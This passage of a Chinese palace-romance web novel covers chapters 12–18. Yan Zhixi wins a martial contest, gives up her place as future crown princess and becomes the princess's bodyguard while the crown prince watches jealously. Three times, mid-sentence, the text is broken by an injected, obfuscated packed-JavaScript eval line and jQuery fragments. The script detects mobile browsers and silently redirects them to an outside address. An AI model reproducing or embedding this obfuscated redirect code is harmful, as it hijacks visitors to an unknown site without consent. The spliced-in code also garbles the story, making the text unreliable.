听此,李琮旭便没再发话了。
周遭的空气仿佛凝固了一瞬,但却足以让赵另在这短短的几秒里冷汗直流。
半晌,座上的人才摆了摆手,语调依旧平淡,听不出喜怒:“孤知道了,你退下罢。”
“是。”
离了这东宫后,赵另这才敢将提至嗓子眼的心给彻底放下,随后涌上心头的就是一阵愤怒:
好你个岁守民!竟敢坑他!
还好自己方才机智地把这锅给甩了回去。
这锅,你自个儿背去吧!
……
“阿嚏!”
在岁守民打了第三个喷嚏的时候,他竟然看见了正朝着自己走来的魏禧之。
“禧公公,殿下找岁某可是有何急事?”
他的嗓音又尖又细:“岁大统领去了便知。”
这东宫,岁守民其实也不常来。
但比起方才紧张至极的赵另,身为大统领的他则要镇定许多,大大方方抱拳行礼:“微臣参见殿下。”
作为太子,李琮旭的时间一向很宝贵,他这次便直接开门见山:“你为何把颜大将军之女安排进皇监卫?”
岁守民当然没想到殿下竟会一上来就提及此事,一时愣在了原地。
见他迟迟不出声,李琮旭便再次发话,语气中带着几分隐隐的警告意:
“你可知,她以后会是孤的太子妃。”
12
“噗通”一声,又跪了一个。
除了滑跪认错极快之外,这甩锅的技术估计也是皇监卫的“绝活”,岁守民毫不犹豫地就将责任推卸给了颜矩:
“殿下,微臣冤枉啊!这都是颜大将军的要求,微臣哪有这个胆子敢私自做主?”
“皇监卫可是一直听令于皇家的。”李琮旭冷笑了一声,“故按照你方才的意思
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830125|191166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,便是那位颜大将军的手伸得太长,竟到了能够干涉皇监卫人员变动的地步?”
“不不不,殿下误会了,微臣并非此意!皇监卫一心只向着皇家,岁某绝无二心!”岁大统领使劲摇了摇头,先是果断表明自己的衷心,随即无比诚恳地解释道,“微臣与颜大将军已有几十年的交情,岁某知晓他府中仅有一位千金,定是极度受宠的。若非颜大小姐执意习武,我那老友又怎会出此下策?”
听他这么一解释,李琮旭话里的冰冷意才消散了几分:“依你所言,进到皇监卫习武是那位颜小姐自己的决定?”
“是。”岁守民重重点头,“殿下不必太过担忧,微臣已向赵副统领打过招呼,让他多多关照。颜大小姐毕竟是千金之躯——”
说到这里的时候,岁守民顿了顿,特意强调了一句:“且还是我大昶未来的太子妃,皇监卫定然是不会让她吃半点苦头的!”
李琮旭没再发言,似乎是在思考中。
岁守民紧张地看着太子殿下在桌上轻敲的指尖,仿佛就像自己提到了嗓子眼的那颗心一样,七上八下。
良久,座上的人才开口问道:“她为何想要习武?”
“这,微臣着实不知。”这个问题实在是把岁大统领给难住了,他只能小心翼翼地试探道,“颜大将军说他的女儿一向率性得很,兴许只是那位颜府千金一时心血来潮?”
“胡闹!”李琮旭显然对这回答很不满意,眉头一皱,“皇监卫军营内全是男子,孤未来的太子妃却混于其中,这成何体统?”
糟糕,太子殿下要生气了。
岁守民只得立马表示自己始终是持反对态度的,但却非常无奈:“殿下息怒,微臣已然劝过,但那位颜大小姐执意如此啊!”
见着座上人的脸色越来越差,岁守民立马脱口而出了一个转折:
“不过——微臣心中已有一计,还请殿下放心。一个月后的比武大赛上,微臣定会成功将其劝退!”
“还需一个月?”李琮旭看上去对此仍有些许不满,但最终还是作出了让步,“那孤便要你在这一个月内看好皇监卫的人,所有男子都不许跟她走得太近,明白?”
“是,微臣遵命!”
待岁守民离开东宫后,李琮旭又继续翻阅起了案上的奏折。
一直到案桌上的油灯燃尽了好几盏,他手边堆积如山的奏章才终于批阅完毕。
李琮旭揉了揉太阳穴,眉目间满是疲惫:“拿去乾弘殿。”
“喏。”魏禧之立马走上前来,将那堆小山似的奏折重新叠好。
当他拿着这堆奏章正要转身离开的时候,太子殿下却叫住了他:
“禧公公,今日之事,你怎么看?”
魏禧之是何等精明的人?
况且他已在殿下身边跟了数年,话都不用点明,他就知道太子殿下是想问什么。
以及,殿下最忌惮的是什么。
魏禧之转了转眼珠子,躬身道:
“回殿下:薄州之地,与我大昶敌国‘阿古黎’的边壤紧邻。若不是薄州地形易守难攻,怕是早已沦为敌国的盘中餐。
“然‘阿古黎’兵力有限,虽不敢来犯,但至今仍未主动向我大昶求和。依老奴所见,薄州能与‘阿古黎’相安无事,这其中必有缘由。
“而那远在薄州驻边的大将军,其麾下精兵如今已高达八千,且还与我大昶的皇监卫大统领如此熟识——”
说到这里时,魏禧之警惕地眯了一下眼:
“这颜矩,殿下需得早些提防哪。”
5. 13-15
13
人真的很矛盾。
明明我已经被那个噩梦给吓怕了,但我却偏偏控制不住自己,总会不自觉地去回想那些情节。
而自打我开始回忆的那一刻起,这个噩梦便在我的脑海里扎了根。
每“复习”一次,记忆就会变得越发深刻一分。
因此,每当我的眼前再次浮现颜府血流成河的悲惨场景时,我想要成为一位女将军的这份信念便会越发坚定。
我甚至暗暗下定了决心:
就算颜府最后难逃满门抄斩的下场,那我也要让自己练就能够带着娘亲杀出重围的能力!
也许,正是这份毅力和决心,才让我成功在一个月后的比武大赛上打赢了一位身强力壮的对手。
对方是个高大魁梧的壮汉,而我却只是一个身形瘦小的女子。
比赛双方是任意匹配的。
我当然也有祈祷过,给我安排一个力量不那么悬殊的对手。
显然,我的运气不太好。
所以我只能硬着头皮上了。
但在比赛结束之前,比武擂台上的我们都是全副武装的——身穿盔甲且戴着面具。
因此,观众席上没有任何人知道,在这张小小的面具之下竟隐藏着一个女儿身。
比赛开始时,我清楚听到看台上有人正在大声地议论着:
“我看啊,这场就不用比了,定是那三军营的老胡胜出!”
“四军营怎会派个如此瘦弱的家伙出战?这不妥妥给老胡送分嘛!”
“真是无趣,这比赛的结局也太好猜了。哎,不如咱们改成赌几招结束,如何?”
“行啊,我赌不出三招,老胡定会把那家伙给打趴下!”
“都是军营里的兄弟,好歹给人留点面子行不?我赌五招哈哈哈哈!”
“……”
那些人对于我的津津乐道以及一大片不看好我的声音,我不再去听,亦不放在心上。
在擂台上站定后,我稳了稳心神,握紧手中的剑,准备迎战。
“皇监卫内部切磋第廿五场——正式开始!双方点到为止即可。”
一声令下,对面的壮汉气势汹汹地挥着大刀,径直朝着我的头顶砍来。
我自知跟他力量悬殊,定是不能与之硬碰硬的。
为了胜利,我只能取巧以击之。
我开始在脑海里迅速分析对手的优劣之处:
对方虽然力量很足,但身形不够灵活;
大刀的攻击力虽强,可极其耗费体力;
对手的招式看似能够让人眼花缭乱,实际上却是毫无章法的。
故此,甫开始时,我并未直接跟对方正面过招,而是极其有耐心地与之在台上兜圈子,耗费他的体力。
在擂台上躲避了几招之后,我注意到,笨重的盔甲会给有着魁梧身形的对手转身造成一定的困难。
而我的头盔也恰好限制了我的视野,我不能迅速转头看见自己身后的情况。
为了解决视线盲区的问题,当他再次挥舞着大刀向我砍来的时候,我立刻伸出左手摘掉了自己头上的头盔,加上一个灵活地转身闪避,并火速绕到了他的背后。
下一瞬,我右手握紧长剑,顺势就直直地朝着对方刺去——
在这一刹那,全场的人似乎都屏住了呼吸。
最后,我手中的剑及时停在了他的颈侧,只需轻轻一划就能将对手的头颅斩下。
而此时此刻,对方甚至还未能来得及转身。
在方才的过招中,他的那把大刀也仅仅只是斩断了我鬓角的一缕发丝而已。
虽然是险胜,但是,我赢了。
14
皇宫,乾弘殿。
“儿臣参见父皇。”
此时的弘帝已然更衣完毕,从屏风后缓缓走了出来:“太子,你来得正好。皇监卫今日正在举行内部比武,你且随朕一同去看看罢。”
李琮旭点头应下:“是,父皇。”
刚往殿外走了几步,弘帝蓦地开口问道:“朕忽然记起一事——前些年,朕为你亲自挑选的那些侍卫,如今怎地都不见了?”
“回父皇,当年的那批侍卫一共有八人。”李琮旭一五一十地道来了缘由,“其中五人在去岁与潜入行宫的刺客对战而亡;有两人被‘阿古黎’所俘,已服毒药自尽;还有一人为引开追杀的敌军,连人带马坠下悬崖,尸骨全无。”
“竟一个不剩?”明明是悲伤沉重的往事,弘帝却只是皱了一下眉头,继而将话锋一转,“罢了,朕今日便趁这比武大赛重新为你挑选一批。太子,你亦可好生择选一番,若是有满意的人选,直接将其收为你的贴身侍卫即可。”
“谢父皇。”
于是,当太子跟着圣上现身比武场的时候,他们正好目睹了皇监卫的第二十五场内部切磋。
那个不被所有人看好的“瘦小伙子”,竟在这场比赛中成功击败了来自第三军营的壮汉老胡!
这结果实在是惊人,很是出人意料。
弘帝欣慰地对跟在自己身旁的太子道:“朕看这小子就不错,年纪轻轻,有勇有谋,潜力甚足。”
可就在下一瞬,圣上的笑容就凝固在了脸上。
因为我的面具被老胡给摘了下来。
他只将我当成普通男子,相处方式就跟军营内的其他弟兄一样,大大咧咧地伸手来解开了我的面具:
“你小子可以啊,我还得多向你讨教讨——”
话都没说完,看到我的脸后,老胡直接愣在了原地。
见到面具下是一张白白净净的小脸,老胡甚至还有些不敢相信自己的眼睛:“你小子怎么长得跟个娘们似的?”
说完,对方就想伸出手来,似乎是想捏捏我的脸,确认一下手感。
我立刻往旁边一闪,躲开了。
但我依然还是十分客气地向他抱拳道:“是前辈承让了。”
接着,我便看向了作为比武裁判的岁大统领——他非常震惊,显然是没料到我竟然真的打败了一位皇监卫的男子。
“这场比赛,属下赢了。”我一边擦拭额角的汗珠,一边朝他坚定地道,“希望岁大统领能信守承诺,将属下留在军营。”
可对于我的请求,岁大统领只是紧皱着眉头,什么都没说。
他紧盯着我的表情非常复杂,细看的话,似乎还有几分惊恐。
就在这一刻,我忽然感觉自己如芒在背一般。
我便立即抬眸望去,竟见到了正站于看台最上方的弘帝陛下和太子殿下!
二人向我投来的视线被夹杂在众多的目光之中,但与那些好奇、震惊不同的是,他们的眼神里多了一股威严与压迫感。
我下意识地就打算行大昶的女子礼来着,但是忽而想到了自己此时身上穿着的盔甲,便径直单膝跪地,行了一个标准的侍卫礼:
“属下参见陛下、参见殿下!”
此时此刻,弘帝的脸是铁青的。
而立于圣上身旁的太子殿下的脸色也好不到哪儿去,他冰冷的视线就如一把利刃,似要将我刺穿一样。
15
我在乾弘殿的门外已经跪了近半个时辰,但圣上的气依然不见消。
听得出,陛下确实非常生气:
“这就是他颜矩教出来的好女儿?去,赶紧去!去薄州把颜矩给朕叫回来!让他回来好好看看,他颜家的女儿竟会这般辜负朕的苦心!”
我甚至还能在殿门口听见圣上在殿内怒砸东西的声音。
太子殿下也一直站在殿外,因
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830126|191166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为弘帝此时正在气头上,他当然不会进去找骂。
李琮旭向我走了几步,即使是在劝说我,但他的嗓音仍然是十分冷淡的:
“孤很少见父皇会发如此大的脾气。颜小姐若是还有心,便早些去向父皇服个软。”
“抱歉,殿下。”我仍然保持着跪姿,一动不动,“小女的心意已决,习武之心绝不动摇。”
听到了我的回答,李琮旭的眸子一暗,攥了攥手心。
最终,在丢下一句“那你便一直跪着罢”后,他愤愤地甩袖离去。
约摸又过了大半个时辰,冷静下来的弘帝终于从乾弘殿里走了出来。
看着仍然跪在地上不肯让步的我,他先是从鼻腔里嗤了一声:
“熹儿,你真是让朕失望!都怪朕平日里万分纵容你,竟将你养成了如今这般娇纵的性子!此等大事,岂能由你一人私自做主?”
“陛下息怒。”我只能再三磕头以示自己的歉意,以及决意,“习武一事并非小女擅自决定,熹儿早已同父亲商议过。爹爹他亦支持小女当一名女将军,为我大昶继续效力!”
“好一个女将军!”弘帝越听越生气,“朕的大昶缺的是女将军吗?朕缺的是一个能够辅佐太子的太子妃!”
为了能够改变圣上心中的人选,我干脆使劲贬低自己:
“小女性子娇蛮,跟贤良淑德毫不沾边。且打小不喜琴棋书画、不通丝竹管弦。女红不擅,学艺不精。太子妃一位,还请陛下三思!”
听了我这番话后,弘帝先是一声冷哼,不答反问:“熹儿,你如此贬低自己,究竟是为何?朕且听闻你这几月在军营拼了命地习武,这又是为何?”
我的心意不变,依然还是那句回答:“小女想继承父亲的衣钵,成为一名女将军,为我大昶贡献一份绵薄之力!”
陛下却摇了摇头,明显是对我这个回答不满意,语气里多了几分威慑意:“熹儿,你若是再不肯跟朕说实话,就算你跪到天黑,朕也不会答应。”
说完,圣上便将双手负于身后,欲转身离去。
我当然有些急了,但我又不知到底该如何开口。
因为我脑海里住着一个能预知未来的“说书人”这件事属实荒诞,定然是不会有任何人相信的。
一提到“说书人”,它的声音竟又开始在我的耳边响起:
[回宫路上,公主李璟乐遇刺]
听完这句话,我的眼皮直跳。
几乎是在“说书人”刚说完的下一瞬,一个宫女着急忙慌地跑进了乾弘殿的前花园。
在看见圣上的时候,她就如看见了救星一般,“扑通”一声跪在了地上。
她几乎是哭喊着出声:“陛下,公主殿下遇刺了!”
……
皇宫,永乐殿。
“不过是被一支暗箭划伤了胳膊,哪有这般严重?”半躺于榻上的李璟乐正被御医包扎着流血的手臂,故作轻松的语气,“父皇您瞧,乐儿如今这不好好的吗?”
自打走进这永乐殿后,弘帝紧皱的眉头就一直不曾松开过:“朕为公主挑选的侍卫呢,都是吃素的?”
“父皇,不怪他们,是乐儿回宫时太贪玩了,非要让车夫往那条人多的小巷驶去,这才给了刺客可乘之机。”
说完,李璟乐这才注意到了跟在陛下身后的我,她露出了惊讶的神色,顺势转移话题:
“咦,知熹,你今日怎地进宫来了?你又怎会是这般打扮?”
看着受伤的璟乐,我心中当然是不好受的。
但不得不承认,这确实是一个千载难逢的机会。
“属下自请担任公主殿下的贴身侍卫,愿以己之性命护殿下平安!”我在圣上与公主跟前单膝跪地,诚恳地请求道,“恳请陛下及殿下恩准!”
6. 16-18
16
“荒谬!”圣上一个甩袖,愤愤道,“若是全朝上下知晓未来的太子妃竟是个侍卫,你让朕的颜面置于何地?”
“属下斗胆一问,在陛下心里——”我依然保持着单膝跪地的姿势,不卑不亢,“究竟是公主殿下的性命重要,亦或是颜面重要?”
圣上显然没料到我竟敢如此大胆地质问他,气得陛下直指着我的鼻头骂:
“熹儿,你真是令朕失望透顶。
“仗着朕对你平日里的纵容,如今竟敢口不择言!
“你若真想尝尝蹲大牢的滋味,朕今日便成全你!”
“父皇息怒!知熹从小与儿臣一同长大,如今见乐儿负伤,定是心中着急才会口出此言。”一旁的李璟乐翻身下榻,跪于我旁边,替我求情,“知熹亦是父皇看着长大的,性情虽直率,但始终一心向着我皇家,还请父皇勿怪!”
公主殿下的这番话说得有理有据,成功让圣上的怒意消退了不少。
但陛下对我的言行仍是十分不满的,黑着脸警告我:
“罢了,方才所言,朕不与你计较。
“若你执意习武,那朕今日便答应你。
“你可得想清楚了,既做了公主的侍卫,那东宫太子妃一位便再与你无缘!”
我即刻双膝跪地,恭敬地磕了几个响头:“谢陛下恩允!”
“从今往后,公主若是少了一根头发,朕便拿你是问!”
将这句狠话放给我后,弘帝便气冲冲地摆驾离开了永乐殿。
我将璟乐扶了起来。
“知熹,我不明白。”她将我此刻的着装打量了一番,很是不解,“你是大将军之女,未来皇嫂一位非你莫属。可你为何要放弃那个万人莫及的位置,选择当一个小小的侍卫?”
每每提及原因,我还是那句不变的回答:“我想当一名女将军。”
本以为李璟乐也会为此感到不理解,但她听后却“噗嗤”一声笑了出来:
“女将军?听上去可真有意思。
“知熹,从小你就比我有主见,想必你心中自有定数。
“既然你心意已决,那我定是支持你的。”
果然还是璟乐懂我。
我向她投去一个感激的眼神。
“只是可惜——”李璟乐忽而想起了什么,面上露出遗憾的神色,“你若放弃了未来的皇嫂一位,不只是父皇,皇兄他应当也会很失望吧。”
听璟乐这般说,我有些许疑惑:
太子哥哥也会失望吗?
可他的心上之人,并不是我啊。
或许,他失望的是太子妃一位没能拿下这个“将门嫡女”的头衔罢了。
我可从来都不曾忘记,梦里的颜府之所以被满门抄斩,正是因为大昶新帝所下的那道圣旨。
故此,我当然是想离这位“罪魁祸首”越远越好。
李璟乐于此时拉回了我的思绪,她换上轻快的语调,俏皮地眨了眨眼:
“你来做我的贴身侍卫也不错,如此,知熹日日都能来皇宫陪我了!”
17
我担任公主殿下的贴身侍卫已有数月。
临近除夕,爹爹终于从薄州回了皇城。
那日,圣上特意将我从永乐殿叫去了乾弘殿。
当爹爹见到身着侍卫装的我时,他显然是无比震惊的。
不过,他亦是清楚我倔强的性子。
一旦我做出了决定,便毫不动摇。
圣上开始告状:“颜爱卿好生瞧瞧,这便是你的好女儿!”
看着自家女儿退下的背影,颜矩没有丝毫犹豫,在圣上跟前“扑通”一声单膝跪地,抱拳道:
“陛下多年来对小女悉心照顾,微臣不胜感激。但,小女实属顽劣,性子分外固执,辜负了陛下的期望。
“颜某此生就这一个女儿,既然她已选择为公主殿下效命,亦等同于为陛下分忧。请陛下看在她的一片赤诚之心上,宽恕小女的任性!
“微臣愿替小女受罚,请陛下降罪!”
圣上却叹了口气,摆摆手示意他起身。
“罢了,且由她去吧。”弘帝扶了一下额,“只是,这突然空出来的太子妃一位,朕不知还得为此头疼多久。”
“怪只怪小女命中无此福分。”颜矩仍未起身,语气坚定,忠心耿耿,“陛下且放心,不论未来的太子妃是谁,颜家必会鼎力相助!”
“有颜爱卿这句话,朕便放心了。”听到了自己想听的话,圣上先是满意地点点头,忽而话锋一转,“朕倒是想起,孔丞相曾提及过他家的小孙女如今仍待字闺中,不如就将她定为未来的太子妃,如何?”
颜矩的表情僵了一瞬:
果然,这事儿可没那么容易翻篇。
孔肆起那老家伙一向在朝堂上跟自己不对付,若是未来的太子妃被内定为了他家的小孙女,必定会在自己面前越发气焰嚣张。
圣上这不是摆明了打算看戏吗?
颜矩缓缓露出了一个比哭还难看的笑容,违心赞同:
“陛下英明。”
……
除夕这日,几乎人人都回了家,皇宫里明显冷清了不少。
但作为公主殿下的贴身侍卫,我必然是要做到时时刻刻守在公主身边,寸步不离。
傍晚,轮到我在永乐殿外站岗的时候,一个小雪球不知从何处忽然朝我砸了过来。
我径直“唰”地一下抽出腰侧的长剑,眼疾手快地将其劈成了两半。
“数月不见,颜大小姐这身手倒是利落了不少。”
听到熟悉的嗓音在雪地里响起,我竟看到了许久未见的岁翌。
“你怎会在此?”我的目光投向了雪中走来的那人,“今日是除夕,不回统领府看看吗?”
“回去作甚?”他嗤之以鼻,“听我爹一直念叨我不成?”
我耸了下肩,表示同情。
“我与三军营的老胡换了岗,他上有老下有小,要赶回家吃团圆饭。”岁翌仍然是一副懒懒散散的样子,一边说着一边又捏了个雪球,“我先巡逻,两个时辰后再换他。”
说完,他就坏笑着再次将手里的雪球朝我砸了过来。
“幼稚。”
我面无表情地往旁边一闪,躲开了去。
“我这一路巡逻过来,连半个人影都没瞧见,好生无聊。”说着说着,他便走到了我旁边,笑眯眯地看着我,“想当初我陪颜大小姐整日练武,现下也换你陪我消消遣呗。”
敬职敬业的我当然是对他的邀请不予理睬。
但岁翌依然不肯离去。
他在周遭的雪地上晃来晃去,还时不时用雪球偷袭我。
最终,我实在是忍无可忍,抓了一把栏杆上的雪朝他反击回去。
18
“好一个玩忽职守!”李璟乐不知何时走出了殿,看着正在打雪仗的我和岁翌,她佯装生气的模样,“该罚!”
岁翌和我同时停下了手中的动作,他立马毕恭毕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16830127|191166||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敬地给公主行了礼。
我瞬间站得笔直,神情带着几分尴尬:“抱歉殿下,我——”
但还没等我说完,李璟乐又笑出了声,兴致勃勃地打断道:“我也要玩!”
“不可。”我立即制止了她的行为,“殿下身子骨弱,禁不起这寒冷天气。”
我这话确实有些扫兴了,李璟乐把嘴一噘,摆起了公主架子:“本宫不管,本宫就要玩!”
话音刚落,她便一头扎进了雪地里,在纷飞的大雪中玩得不亦乐乎。
我和岁翌拿公主殿下没辙,只能是听其差遣,陪着她一同玩闹了起来。
约摸过了一盏茶的工夫,小脸冻得通红的李璟乐开始剧烈咳嗽起来。
我一惊,立马终止了玩闹,强行将公主扶进了殿内。
角落里的金丝炭正烧得通红,充满暖意的室温让她的咳嗽这才得以缓解。
“殿下万万不可再任性了。”我将璟乐扶至榻上,又将一碗热姜汤端给了她,“殿下好生歇息,属下在殿外候着。”
等我将公主殿下安置好后,岁翌早已不知去向。
我便继续回了原位站岗。
冬季的天,黑得比以往都要早。
越下越大的雪衬得这个夜晚宛如一个冰窖。
虽然我的身体素质已经比以前好了太多,但这雪夜里刺骨的寒风仍似刀片一般,无情地刮着我的面颊。
我使劲地朝手心哈了口气,不自觉往殿门口挪了挪,试图蹭一下里头的室温。
怎奈方才我出来时已将殿门关得严丝合缝,只为了确保不让一丝寒风溜进去。
故此,里面的温暖同样也不会泄露半分。
我一边跺脚一边搓手,蓦地回忆起了曾经每年除夕夜在府中与爹娘热热闹闹过新年的温暖场景。
与我现下的处境完全是天壤之别。
怪不得太多人无法理解我的选择。
在旁人眼里,我这种行为无异于自找苦吃。
我头一次生出了一丝怀疑,怀疑自己当初的选择是不是错了?
“喂,颜大小姐!”
岁翌突然的一声叫喊拉回了出神的我。
他竟然又回来了,而且手上还拿着一件厚厚的大棉袄。
“别以为自己是铁打的,就一直站在这里傻傻挨冻啊。”他一边为我裹上棉袄,一边握住我的手使劲搓了搓,“啧,手都冻红了。”
“我无事。”我心间一暖,示意他别担心,“还有半个时辰,另一个侍卫就能来与我换岗了。”
“大功告成!”岁翌满意地看着自己的“杰作”,然后又捧着腹大笑了起来,“你可知你现在像何物?像重午节的角黍哈哈哈哈!”
我没好气地瞪了他一眼。
但看在他如此贴心的份上,本小姐暂且就不与他计较了。
然而,我不知道的是,由于除夕那晚的夜色太过沉重,当时还完全掩盖住了另一道身影:
那人在永乐殿外不远处的地方站了很久,久到肩上都堆起了雪花。
他一手斜撑着伞,一手拿着狐裘披风,左肩已被雪花浸湿,只为护着右手的披风不被沾染半分寒意。
一旁紧跟着的魏禧之怀里还揣着一个包得严严实实的汤婆子,但由于站得太久,仍被冻得瑟瑟发抖。
魏禧之实在是忍不住了:“殿下,不进去吗?”
看着那檐下亲密无间的两道人影,他攥紧了手里的披风,径直转身离去:
“回东宫。”